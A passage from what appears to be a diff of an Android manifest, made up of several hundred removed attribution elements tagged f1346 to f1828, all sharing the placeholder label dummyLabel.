-  <attribution android:tag="f1346" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1347" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1348" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1349" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1350" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1351" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1352" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1353" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1354" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1355" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1356" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1357" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1358" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1359" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1360" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1361" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1362" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1363" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1364" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1365" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1366" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1367" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1368" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1369" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1370" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1371" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1372" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1373" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1374" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1375" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1376" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1377" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1378" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1379" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1380" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1381" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1382" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1383" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1384" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1385" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1386" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1387" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1388" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1389" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1390" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1391" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1392" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1393" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1394" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1395" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1396" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1397" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1398" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1399" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1400" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1401" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1402" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1403" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1404" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1405" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1406" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1407" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1408" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1409" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1410" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1411" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1412" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1413" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1414" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1415" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1416" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1417" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1418" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1419" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1420" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1421" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1422" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1423" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1424" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1425" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1426" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1427" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1428" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1429" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1430" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1431" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1432" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1433" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1434" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1435" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1436" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1437" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1438" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1439" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1440" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1441" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1442" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1443" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1444" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1445" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1446" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1447" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1448" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1449" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1450" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1451" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1452" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1453" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1454" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1455" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1456" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1457" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1458" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1459" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1460" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1461" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1462" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1463" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1464" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1465" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1466" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1467" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1468" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1469" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1470" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1471" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1472" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1473" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1474" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1475" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1476" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1477" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1478" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1479" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1480" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1481" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1482" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1483" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1484" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1485" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1486" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1487" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1488" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1489" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1490" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1491" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1492" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1493" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1494" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1495" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1496" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1497" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1498" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1499" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1500" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1501" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1502" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1503" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1504" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1505" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1506" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1507" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1508" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1509" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1510" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1511" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1512" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1513" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1514" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1515" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1516" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1517" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1518" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1519" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1520" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1521" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1522" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1523" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1524" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1525" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1526" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1527" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1528" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1529" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1530" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1531" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1532" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1533" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1534" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1535" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1536" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1537" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1538" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1539" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1540" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1541" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1542" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1543" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1544" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1545" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1546" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1547" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1548" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1549" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1550" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1551" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1552" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1553" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1554" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1555" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1556" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1557" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1558" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1559" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1560" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1561" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1562" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1563" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1564" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1565" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1566" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1567" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1568" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1569" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1570" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1571" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1572" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1573" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1574" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1575" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1576" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1577" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1578" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1579" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1580" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1581" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1582" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1583" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1584" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1585" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1586" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1587" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1588" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1589" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1590" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1591" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1592" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1593" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1594" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1595" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1596" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1597" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1598" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1599" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1600" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1601" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1602" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1603" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1604" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1605" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1606" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1607" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1608" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1609" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1610" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1611" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1612" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1613" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1614" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1615" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1616" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1617" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1618" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1619" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1620" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1621" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1622" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1623" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1624" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1625" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1626" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1627" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1628" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1629" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1630" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1631" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1632" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1633" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1634" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1635" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1636" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1637" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1638" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1639" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1640" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1641" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1642" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1643" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1644" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1645" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1646" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1647" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1648" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1649" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1650" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1651" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1652" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1653" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1654" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1655" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1656" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1657" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1658" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1659" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1660" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1661" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1662" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1663" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1664" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1665" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1666" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1667" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1668" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1669" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1670" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1671" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1672" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1673" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1674" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1675" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1676" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1677" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1678" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1679" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1680" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1681" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1682" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1683" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1684" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1685" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1686" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1687" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1688" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1689" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1690" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1691" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1692" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1693" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1694" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1695" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1696" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1697" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1698" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1699" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1700" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1701" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1702" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1703" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1704" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1705" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1706" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1707" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1708" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1709" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1710" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1711" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1712" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1713" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1714" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1715" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1716" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1717" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1718" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1719" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1720" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1721" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1722" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1723" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1724" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1725" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1726" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1727" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1728" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1729" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1730" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1731" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1732" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1733" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1734" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1735" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1736" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1737" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1738" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1739" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1740" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1741" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1742" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1743" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1744" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1745" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1746" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1747" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1748" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1749" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1750" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1751" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1752" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1753" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1754" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1755" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1756" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1757" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1758" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1759" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1760" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1761" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1762" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1763" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1764" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1765" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1766" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1767" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1768" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1769" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1770" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1771" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1772" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1773" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1774" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1775" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1776" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1777" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1778" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1779" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1780" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1781" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1782" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1783" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1784" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1785" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1786" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1787" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1788" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1789" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1790" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1791" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1792" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1793" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1794" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1795" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1796" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1797" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1798" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1799" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1800" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1801" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1802" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1803" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1804" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1805" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1806" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1807" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1808" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1809" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1810" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1811" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1812" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1813" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1814" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1815" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1816" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1817" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1818" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1819" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1820" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1821" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1822" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1823" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1824" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1825" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1826" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1827" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1828" android:label="@string/dummyLabel" />
